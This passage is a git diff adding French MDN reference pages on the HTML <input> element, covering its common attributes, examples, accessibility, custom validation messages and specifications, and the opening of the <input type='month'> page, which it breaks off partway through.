+ <li><code>{{HTMLElement("input/search", "search")}}</code> : {{HTMLVersionInline("5")}} un champ texte sur une ligne pour des termes de recherche. Les sauts de ligne sont automatiquement retirés.</li>
+ <li><code>{{HTMLElement("input/submit", "submit")}}</code> : un bouton qui envoie le formulaire.</li>
+ <li><code>{{HTMLElement("input/tel", "tel")}}</code> : {{HTMLVersionInline("5")}} un contrôle pour saisir un numéro de téléphone.</li>
+ <li><code>{{HTMLElement("input/text", "text")}}</code> : un champ texte sur une seule ligne. Les sauts de ligne sont automatiquement retirés.</li>
+ <li><code>{{HTMLElement("input/time", "time")}}</code> : {{HTMLVersionInline("5")}} A control for entering a time value with no time zone.</li>
+ <li><code>{{HTMLElement("input/url", "url")}}</code> : {{HTMLVersionInline("5")}} un champ permettant de saisir une URL.</li>
+ <li><code>{{HTMLElement("input/week", "week")}}</code> : {{HTMLVersionInline("5")}} un contrôle permettant de saisir une date représentée par un numéro de semaine et une année (sans indication de fuseau horaire).</li>
+</ul>
+
+<p>Certains types sont désormais obsolètes :</p>
+
+<ul>
+ <li><code>{{HTMLElement("input/datetime", "datetime")}}</code> : {{HTMLVersionInline("5")}} {{deprecated_inline}} {{obsolete_inline}} un contrôle pour saisir une date et une heure selon un fuseau horaire UTC. <strong>Cette fonctionnalité a été <a href="https://github.com/whatwg/html/issues/336">retirée du standard WHATWG HTML.</a></strong></li>
+</ul>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>L'élément <code>&lt;input&gt;</code> est l'un des éléments HTML les plus complexes et puissants et il peut utiliser de nombreux types et attributs. Chaque élément <code>&lt;input&gt;</code> étant basé sur l'interface DOM {{domxref("HTMLInputElement")}}, ils partagent tous, techniquement, les mêmes attributs. Toutefois, certains attributs ne fonctionnent que pour certains types de champs et certains attributs fonctionnent spécifiquement selon le type de champ.</p>
+
+<p>Sur cette page, vous trouverez des informations sur les attributs communs à l'ensemble des types d'éléments <code>&lt;input&gt;</code> ainsi que la description de quelques attributs notables.</p>
+
+<h3 id="Attributs_communs_à_l'ensemble_des_types">Attributs communs à l'ensemble des types</h3>
+
+<p>This section lists the attributes which are used by all form <code>&lt;input&gt;</code> types. Attributes that are unique to particular input types—or attributes which are common to all input types but have special behaviors when used on a given input type—are instead documented on those types' pages.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les éléments <code>&lt;input&gt;</code> peuvent bien entendu utiliser les <a href="/fr/docs/Web/HTML/Attributs_universels">attributs universels</a>.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("autocomplete")}}</code></td>
+   <td>Une chaîne de caractères qui indique le type d'autocomplétion à utiliser.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("autofocus")}}</code></td>
+   <td>Un attribut booléen qui passe le focus sur le champ lorsque le formulaire est affiché.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("disabled")}}</code></td>
+   <td>Un attribut booléen qui indique si le champ doit être désactivé.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("form")}}</code></td>
+   <td>L'identifiant du formulaire (la valeur de l'attribut <code>id</code> de l'élément {{HTMLElement("form")}}) auquel le champ est rattaché. Si cet attribut est absent, le champ sera rattaché au formulaire le plus proche qui le contient s'il existe.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("list")}}</code></td>
+   <td>L'identifiant (valeur de l'attribut <code>id</code>) d'un élément {{HTMLElement("datalist")}} qui fournit une liste de suggestions.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("name")}}</code></td>
+   <td>Le nom du champ qui sera rattaché à la donnée envoyée via le formulaire.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un attribut booléen qui indique si le champ peut être édité ou non.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("required")}}</code></td>
+   <td>Un attribut booléen qui indique que le champ doit être renseigné avant de pouvoir envoyer le formulaire.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("tabindex")}}</code></td>
+   <td>Une valeur numérique qui indique à l'agent utilisateur l'ordre selon lequel naviguer au clavier grâce à la touche <kbd>Tab</kbd>.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("type")}}</code></td>
+   <td>Une chaîne de caractère qui indique l<a href="#types">e type de champ représenté par l'élément <code>&lt;input&gt;</code></a>.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("value")}}</code></td>
+   <td>La valeur du champ.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="htmlattrdef(autocomplete)">{{htmlattrdef("autocomplete")}}</h4>
+
+<p>Une chaîne de caractères qui décrit si le champ doit fournir des fonctionnalités d'autocomplétion. Cette autocomplétion peut notamment provenir des valeurs précédemment saisies dans le champ. D'autres méthodes plus complexes peuvent être utilisées : un navigateur pourra par exemple interagir avec la liste des contacts de l'appareil afin de proposer l'autocomplétion pour les adresses électroniques. Voir {{SectionOnPage("/fr/docs/Web/HTML/Attributs/autocomplete", "Valeurs")}} pour les valeurs qui peuvent être utilisées avec cet attribut.</p>
+
+<p>Cet attribut n'aura aucun effet sur les champs qui ne renvoient pas de valeurs numériques ou de textes (les champs <code>checkbox</code> ou <code>image</code> par exemple).</p>
+
+<p>Pour plus d'informations, voir <a href="/fr/docs/Web/HTML/Attributs/autocomplete">la page de documentation sur l'attribut HTML <code>autocomplete</code></a>.</p>
+
+<h4 id="htmlattrdef(autofocus)">{{htmlattrdef("autofocus")}}</h4>
+
+<p>Un attribut booléen qui, lorsqu'il est présent, indique que le champ doit recevoir le focus lorsque le chargement de la page est terminé (ou que la boîte de dialogue ({{HTMLElement("dialog")}}) contenant l'élément est affichée).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Un élément ayant l'attribut <code>autofocus</code> peut avoir le focus avant que l'évènement {{domxref("DOMContentLoaded")}} soit déclenché.</p>
+</div>
+
+<p>Seul un élément du document peut avoir l'attribut <code>autofocus</code>. Il n'est pas possible d'utiliser l'attribut <code>autofocus</code> sur les champs de type <code>hidden</code> car ces derniers, masqués, ne peuvent pas avoir le focus.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Le focus automatique sur un champ de formulaire peut être source de confusion, notamment pour les personnes qui utilisent des lecteurs d'écran. En effet, lorsque <code>autofocus</code> est utilisé, les lecteurs d'écran « téléportent » l'utilisateur sur le contrôle du champ, sans aucun avertissement.</p>
+</div>
+
+<h4 id="htmlattrdef(disabled)">{{htmlattrdef("disabled")}}</h4>
+
+<p>Un attribut booléen qui, lorsqu'il est présent, indique que l'utilisateur ne devrait pas pouvoir interagir avec le champ. Les champs désactivés sont généralement affichés avec une couleur plus pale et/ou avec d'autres indications.</p>
+
+<p>Les champs désactivés avec cet attribut ne reçoivent pas l'évènement {{event("click")}} et ne sont pas envoyés avec le formulaire.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Bien que ce ne soit pas indiqué dans la spécification, Firefox conserver l'état désactivé des champs, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">y compris si cet état a été obtenu dynamiquement</a>, lors des rechargements de la page. L'attribut {{htmlattrxref("autocomplete","input")}} pourra être utilisé afin de contrôler cette fonctionnalité.</p>
+</div>
+
+<h4 id="htmlattrdef(form)">{{htmlattrdef("form")}}</h4>
+
+<p>Une chaîne de caractères qui indique l'élément {{HTMLElement("form")}} auquel le champ est associé (on parle de « formulaire propriétaire »). La valeur de cette chaîne de caractères doit correspondre à la valeur de l'attribut {{htmlattrxref("id")}} d'un élément <code>&lt;form&gt;</code> du document. Si cet attribut n'est pas utilisé, l'élément <code>&lt;input&gt;</code> est rattaché au formulaire le plus proche qui le contient (si un tel formulaire existe).</p>
+
+<p>Grâce à cet attribut, on peut placer un champ n'importe où dans le document et avoir un lien entre le champ et un formulaire situé ailleurs.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Un champ ne peut être associé qu'à un seul formulaire.</p>
+</div>
+
+<h4 id="htmlattrdef(list)">{{htmlattrdef("list")}}</h4>
+
+<p>Cet attribut est une chaîne de caractères qui correspond à l'identifiant ({{domxref("Element.id", "id")}}) d'un élément {{HTMLElement("datalist")}} du document et qui fournit une liste de valeurs à suggérer à l'utilisateur pour ce champ. Les valeurs de cette liste qui ne sont pas compatibles avec ce type de champ ne seront pas incluses dans les suggestions.</p>
+
+<p>L'attribut <code>list</code> n'est pas pris en charge pour les types <code>hidden</code>, <code>password</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code> ou pour les boutons.</p>
+
+<h4 id="htmlattrdef(name)">{{htmlattrdef("name")}}</h4>
+
+<p>Une chaîne de caractères qui définit le nom associé au champ. Ce nom sera envoyé avec la valeur lors de l'envoi du formulaire.</p>
+
+<p>Lorsqu'un champ a un nom, cette valeur devient une propriété de  {{domxref("HTMLFormElement.elements")}} qu'on pourra utiliser en JavaScript (ex. si on a un attribut <code>name</code> qui vaut <code>hat-size</code> :</p>
+
+<pre class="brush: js">let form = document.querySelector("form");
+let guestName = form.elements.guest;
+let hatSize = form.elements["hat-size"];
+</pre>
+
+<p>Avec ce code, la variable <code>guestName</code> correspondra à l'élément {{domxref("HTMLInputElement")}} du champ <code>guest</code> et <code>hatSize</code> à l'objet pour le champ <code>hat-size</code>.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Il est préférable de ne pas utiliser de valeurs pour <code>name</code> qui correspondent à une propriété native de l'objet du DOM car cela surchargerait la propriété préexistante avec une référence au champ concerné.</p>
+</div>
+
+<p>Le nom <code>_charset_</code> possède une signification spéciale. Si cette valeur est utilisée comme nom pour un élément <code>&lt;input&gt;</code> de type <code><a href="/fr/docs/Web/HTML/Element/Input/hidden">hidden</a></code>, la valeur du champ (l'attribut <code>value</code>) sera automatiquememnt renseignée par l'agent utilisateur et correspondra à l'encodage utilisé pour envoyer le formulaire.</p>
+
+<p>Si l'attribut <code>name</code> n'est pas présent ou qu'il est vide, la valeur du champ ne sera pas envoyée avec le formulaire.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour certaines raisons historiques, le nom <code>isindex</code> n'est pas autorisé. Pour en savoir plus, voir la section <a href="https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#attr-fe-name">Nommage des contrôles de formulaire : l'attribut <code>name</code></a> de la spécification HTML.</p>
+</div>
+
+<h4 id="htmlattrdef(readonly)">{{htmlattrdef("readonly")}}</h4>
+
+<p>Un attribut booléen qui, lorsqu'il est présent, indique que l'utilisateur ne devrait pas pouvoir éditer la valeur du champ.</p>
+
+<p><code>disabled</code> et <code>readonly</code> sont bien différents : <code>readonly</code> permet d'avoir un contrôle fonctionnel mais non éditable alors que les champs <code>disabled</code> ne fonctionnent pas comme des contrôles.</p>
+
+<div class="blockIndicator note">
+<p><strong>Notes :</strong></p>
+
+<p>L'attribut <code>required</code> n'est pas autorisé sur les éléments <code>&lt;input&gt;</code> avec l'attribut <code>readonly</code>.</p>
+
+<p>Seuls les champs textuels peuvent être mis en lecture seule. En effet, pour les autres contrôles (ex. les case à cocher et les boutons radio), il n'y a pas de réelle différence entre l'application de <code>readonly</code> ou de <code>disabled</code>.</p>
+</div>
+
+<h4 id="htmlattrdef(required)">{{htmlattrdef("required")}}</h4>
+
+<p>Un attribut booléen qui, lorsqu'il est présent, indique que l'utilisateur doit fournir une valeur pour ce champ avant de pouvoir envoyer le formulaire. L'attribut <code>required</code> est pris en charge pour tous les types d'éléments <code>&lt;input&gt;</code> exceptés :</p>
+
+<div class="threecolumns">
+<ul>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/color">color</a></code></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/hidden">hidden</a></code></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/range">range</a></code></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/submit">submit</a></code></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/image">image</a></code></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/reset">reset</a></code></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/button">button</a></code></li>
+</ul>
+</div>
+
+<p>Lorsqu'un champ contient l'attribut, la pseudo-classe CSS {{cssxref(":required")}} lui est appliqué. À l'inverse, les champs qui n'ont pas d'attribut <code>required</code> auront la pseudo-classe {{cssxref(":optional")}} appliquée (cela ne s'applique pas aux types de champ qui ne prennent pas en charge <code>require</code>).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Un champ en lecture seule pouvant ne pas avoir de valeur, l'attribut <code>required</code> n'aura pas d'effet sur les champs ayant également l'attribut {{htmlattrxref("readonly", "input/text")}}.</p>
+</div>
+
+<h4 id="htmlattrdef(tabindex)">{{htmlattrdef("tabindex")}}</h4>
+
+<p>Une valeur nnumérique qui définit si le champ peut recevoir le focus via la navigation au clavier (en navigant avec la touche <kbd>Tab</kbd>) et la façon dont l'élément s'inscrit dans l'ordre de la navigation au clavier.</p>
+
+<p>Les valeurs de <code>tabindex</code> auront un sens différents selon leur signe :</p>
+
+<ul>
+ <li>Lorsque <code>tabindex</code> est une valeur négative, cela indique que l'élément peut recevoir le focus de la part de l'utilisateur mais sans utiliser la navigation séquentielle au clavier. Il est recommandé de toujours utiliser une valeur de <code>-1</code> dans ce cas.</li>
+ <li>Lorsque <code>tabindex</code> est nul, cela indique que l'élément peut recevoir le focus et peut être accessible via la navigation au clavier mais que l'ordre de navigation est laissé à la discrétion de l'agent utilisateur. C'est généralement la meilleure valeur à utiliser.</li>
+ <li>Lorsque <code>tabindex</code> est une valeur positive, cette dernière définit l'ordre de l'élément dans la navigation au clavier. Chaque fois que l'utilisateur appuie sur la touche <kbd>Tab</kbd>, le focus passe à un élément qui possède un attribut <code>tabindex</code> plus élevé. La plupart des plateformes disposent également d'une fonctionnalité pour « reculer » dans la navigation au clavier, généralement via la combinaison de touches <kbd>Shift</kbd> + <kbd>Tab</kbd>.</li>
+</ul>
+
+<p>Si cet attribut est absent ou n'est pas un entier valide, ce sera à l'agent utilisateur de respecter les conventions de la plateforme sous-jacente pour la navigation au clavier et la gestion du focus.</p>
+
+<h4 id="htmlattrdef(type)">{{htmlattrdef("type")}}</h4>
+
+<p>Une chaîne de caractères qui indique le type de contrôle à afficher. On pourra par exemple avoir une case à cocher en utilisant la valeur <code>checkbox</code>. Lorsque cet attribut est absent ou qu'une valeur inconnue est utilisée, la valeur par défaut sera <code>text</code> et le contrôle créé permettra de saisir un texte.</p>
+
+<p>Les valeurs autorisées pour cet attribut sont <a href="#types">présentées plus haut</a>.</p>
+
+<h4 id="htmlattrdef(value)">{{htmlattrdef("value")}}</h4>
+
+<p>La valeur du champ. Lorsque cet attribut est indiqué en HTML, il correspond à la valeur initiale du champ qui peut ensuite être modifié par l'utilisateur. Cette valeur peut également être récupérée et modifiée en JavaScript grâce à la propriété <code>value</code> de l'objet {{domxref("HTMLInputElement")}}. Cet attribut est toujours optionnel.</p>
+
+<div class="note">
+<p><strong>Note :</strong> À la différence des autres contrôles, les cases à cocher et les boutons radio sont uniquemnet envoyés via le formulaire lorsque l'attribut <code>checked</code> est vrai. Dans ce cas, l'attribut <code>value</code> sera la valeur associée au champ.</p>
+
+<p>Aussi, si on a une case à cocher dont l'attribut <code>name</code> vaut <code>status</code>, que l'attribut <code>value</code> vaut <code>active</code> et que la case est cochée, les données envoyées au formulaire contiendront <code>status=active</code>. Si la case à cocher n'est pas cochée, ses données ne seront pas envoyées avec le formulaire. Pour les cases à cocher et les boutons radio, la valeur par défaut de l'attribut <code>value</code> est <code>on</code>.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Un élément de saisie simple &lt;/p&gt;
+&lt;input type="text" value="Saisir un texte ici"&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Exemple_simple', '', '100')}}</p>
+
+<h3 id="Un_scénario_fréquent">Un scénario fréquent</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Un formulaire avec différents types de champs&lt;/p&gt;
+&lt;form action="getform.php" method="get"&gt;
+  &lt;label&gt;Prénom : &lt;input type="text"&gt;&lt;/label&gt;&lt;br&gt;
+  &lt;label&gt;Nom : &lt;input type="text"&gt;&lt;/label&gt;&lt;br&gt;
+  &lt;label&gt;Adresse email : &lt;input type="email"&gt;&lt;/label&gt;&lt;br&gt;
+  &lt;input type="submit" value="Envoyer"&gt;
+&lt;/form&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Un_scénario_fréquent', '', '200')}}</p>
+
+<h2 id="Localisation">Localisation</h2>
+
+<p>Pour certains types d'éléments <code>&lt;input&gt;</code>, les valeurs saisies autorisées dépendent de la locale utilisée. Ainsi, dans certaines locales, 1,000.00 est un nombre valide alors que dans d'autres, il faudra avoir saisi 1.000,00 pour exprimer le même nombre.</p>
+
+<p>Firefox utilise la méthode heuristique suivante afin de déterminer la locale pour laquelle valider la saisie de l'utilisateur (au moins dans le cas de <code>type="number"</code>):</p>
+
+<ul>
+ <li>Utiliser la langue définie par l'attribut <code>lang</code>/<code>xml:lang</code> de l'élément ou par celui de ses parents.</li>
+ <li>Sinon utiliser la langue définie dans l'en-tête HTTP {{httpheader("Content-Language")}}</li>
+ <li>Sinon, utiliser la locale du navigateur</li>
+</ul>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<h3 id="Utilisation_de_libellés">Utilisation de libellés</h3>
+
+<p>Lorsqu'on utilise des champs de formulaire, il est recommandé d'ajouter des libellés pour chacun de ces champs. Ainsi, les personnes qui utilisent des outils d'assistance pourront connaître la signification du champ.</p>
+
+<p>Dans l'exemple suivant, on illustre comment associer un élément <code>&lt;label&gt;</code> avec un élément <code>&lt;input&gt;</code>. Pour ce faire, on ajoutera un identifiant (un attribut <code>id</code>) à l'élément <code>&lt;input&gt;</code> et on référencera cet identifiant via l'attribut <code>for</code> de l'élément <code>&lt;label&gt;</code>.</p>
+
+<pre>&lt;label for="ptipois"&gt;Aimez-vous les petits-pois ?&lt;/label&gt;
+&lt;input type="checkbox" name="petitspois" id="ptipois"&gt;
+</pre>
+
+<h3 id="Dimensionnement_-_taille">Dimensionnement - taille</h3>
+
+<p>Les éléments interactifs tels que les champs de formulaire doivent fournir une surface suffisamment grande pour qu'il soit facile de les activer. Cela facilitera la tâche à une variété de personnes : celles qui ont des problèmes moteur, celles qui utilisent des dispositifs de pointage peu précis (doigt ou stylet). La taille interactive minimale recommandée est de 44x44 <a href="https://www.w3.org/TR/WCAG21/#dfn-css-pixels">pixels CSS</a>.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/target-size.html">Comprendre le critère d'accessibilité 2.5.5 sur la taille des cibles - Comprendre WCAG 2.1 (en anglais)</a></li>
+ <li><a href="http://adrianroselli.com/2019/06/target-size-and-2-5-5.html">Taille des cibles et critère 2.5.5, billet en anglais de Adrian Roselli</a></li>
+ <li><a href="https://a11yproject.com/posts/large-touch-targets/">Test rapide : cibles tactiles suffisamment grande - Projet A11Y (billet en anglais)</a></li>
+</ul>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="Messages_personnalisés_pour_les_erreurs">Messages personnalisés pour les erreurs</h3>
+
+<p>Si on souhaite afficher un message d'erreur personnalisé lors de l'échec de la validation d'un champs, il faudra utiliser <a href="/en-US/docs/Web/API/Constraint_validation#Constraint_validation_interfaces">les fonctionnalités de contraintes de validation</a> qui sont disponibles sur les éléments <code>&lt;input&gt;</code>. Par exemple :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="name"&gt;Saisir un nom d'utilisateur (lettres minuscules et majuscules) : &lt;/label&gt;
+  &lt;input type="text" name="name" id="name" required pattern="[A-Za-z]+"&gt;
+  &lt;button&gt;Envoyer&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Les fonctionnalités de validation HTML déclencheront un message d'erreur par défaut si on souhaite envoyer le formulaire avec une valeur invalide (qui ne respecte pas <code>pattern</code>) ou sans valeur.</p>
+
+<p>Si on souhaite plutôt afficher un message d'erreur personnalisé, on pourra utiliser un fragment de code JavaScript comme celui-ci :</p>
+
+<pre class="brush: js">const nameInput = document.querySelector('input');
+const form = document.querySelector('form');
+
+nameInput.addEventListener('input', () =&gt; {
+  nameInput.setCustomValidity('');
+  nameInput.checkValidity();
+});
+
+nameInput.addEventListener('invalid', () =&gt; {
+  if(nameInput.value === '') {
+    nameInput.setCustomValidity("Veuillez saisir votre nom d'utilisateur !");
+  } else {
+    nameInput.setCustomValidity("Un nom d'utilisateur ne peut contenir que des lettres minuscules et majuscules, veuillez réessayer");
+  }
+});</pre>
+
+<p>Voici le résultat qui pourra être obtenu :</p>
+
+<p>{{EmbedLiveSample("Messages_personnalisés_pour_les_erreurs")}}</p>
+
+<p>Voici un récapitulatif de la logique de cet exemple :</p>
+
+<ul>
+ <li>On vérifie la validité du champ chaque fois que sa valeur est modifiée en exécutant la méthode <code><a href="/fr/docs/Web/API/HTMLSelectElement/checkValidity">checkValidity()</a></code> grâce au gestionnaire d'évènement attaché à <code>input</code>.</li>
+ <li>Si la valeur est invalide, on génère un évènement <code>invalid</code> et le gestionnaire d'évènement associé est exécuté. Dans cette fonction, on analyse avec un bloc <code>if()</code> si la valeur est invalide parce qu'elle est vide ou parce qu'elle ne correspond pas au motif désiré. Selon le cas de figure, on utilise le message d'erreur correspondant.</li>
+ <li>Ainsi, si le champ saisi est invalide, lorsque le bouton Envoyer est utilisé, un des messages d'erreur sera affiché.</li>
+ <li>Si la valeur est valide, elle sera envoyée normalement. Pour cela, il faudra annuler la vérification spécifique en appelant <code><a href="/fr/docs/Web/API/HTMLSelectElement/setCustomValidity">setCustomValidity()</a></code> avec une chaîne de caractères vide. On effectue cela à chaque évènement <code>input</code>. Sans cette étape, avec une validation spécifique, le champ saisi serait considéré comme invalide même si sa valeur respectait les contraintes exprimées dans le HTML.</li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, contenu de formulaire (listé, envoyable, réinitialisable), <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>. Si l'attribut {{htmlattrxref("type", "input")}} ne vaut pas <code>hidden</code>, c'est un élément étiquetable et <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, cet élément est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Cet élément doit avoir une balise de début et ne pas avoir de balise de fin.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phrasé">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>
+    <ul>
+     <li><code>type=button</code> : {{ARIARole("link")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}</li>
+     <li><code>type=checkbox</code> : {{ARIARole("button")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("option")}}, {{ARIARole("switch")}}</li>
+     <li><code>type=image</code> : {{ARIARole("link")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}</li>
+     <li><code>type=radio</code> : {{ARIARole("menuitemradio")}}</li>
+     <li><code>type=color|date|email|file|hidden</code> : aucun</li>
+     <li><code>type=month|number|password|range|reset</code> : aucun</li>
+     <li><code>type=search|submit|tel|text|url|week</code> : aucun</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLInputElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Media Capture', '#the-capture-attribute','&lt;input capture&gt;')}}</td>
+   <td>{{Spec2('HTML Media Capture')}}</td>
+   <td>Ajout de l'élément <code>capture</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments relatifs aux formulaires HTML : {{HTMLElement("form")}}, {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} et {{HTMLElement("meter")}}.</li>
+ <li>Dans certains cas, l'élément <code>&lt;input&gt;</code> est un <a href="/fr/docs/Web/CSS/%C3%89l%C3%A9ment_remplac%C3%A9">élément remplacé</a>, sa position et sa taille dans le cadre de l'élément peuvent être ajustées grâce aux propriétés CSS {{cssxref("object-position")}} et {{cssxref("object-fit")}}.</li>
+ <li>L'objet DOM correspondant : {{domxref("HTMLInputElement")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/input/month/index.html b/files/fr/web/html/element/input/month/index.html
new file mode 100644
index 0000000000..f32b084bff
--- /dev/null
+++ b/files/fr/web/html/element/input/month/index.html
@@ -0,0 +1,465 @@
+---
+title: <input type="month">
+slug: Web/HTML/Element/Input/month
+tags:
+  - Element
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/month
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{htmlelement("input")}} dont l'attribut <code>type</code> vaut <code><strong>"month"</strong></code> permettent de créer des contrôles où l'utilisateur peut saisir un mois et année. La valeur associée à un tel élément suit le format <code>"YYYY-MM"</code>, où <code>YYYY</code> représente l'année sur quatre chiffre et <code>MM</code> le mois sur deux chiffres.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-month.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>L'interface utilisateur associée à ce contrôle varie d'un navigateur à l'autre et la prise en charge de cette fonctionnalité reste encore hétérogène : seuls Chrome, Opéra et Edge implémentent cette fonctionnalité sur ordinateur et la plupart des navigateurs mobiles possèdent une implémentation. Pour les navigateurs qui ne prennent pas en charge cette fonctionnalité, l'élément sera transformé en un simple <code><a href="/fr/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code>.</p>
+
+<p>Si votre navigateur ne prend pas en charge ce type d'élément, voici ensuite une capture d'écran de Chrome : cliquer sur la flèche vers le bas permettra de faire apparaître un sélecteur de date qui permettra de choisir le mois et l'année.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15391/month-control-chrome.png" style="display: block; height: 216px; margin: 0px auto; width: 273px;"></p>
+
+<p>Voici un aperçu du contrôle sous Edge :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15393/month-control-edge.png" style="display: block; height: 389px; margin: 0px auto; width: 227px;"></p>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente la valeur du mois et de l'année saisies via le contrôle, au format YYYY-MM (c'est-à-dire une année sur 4 chiffres suivi d'un tiret (<code>"-"</code>) suivi du mois sur deux chiffres. Le format détaillé est <a href="/fr/docs/Web/HTML/Formats_date_heure_HTML#Représentation_des_mois">décrit dans l'article sur les formats des dates/heures</a>.</p>
+
+<p>Il est possible de définir une valeur par défaut pour le contrôle en utilisant l'attribut {{htmlattrxref("value", "input")}} de la façon suivante :</p>
+
+<div id="value-example-1">
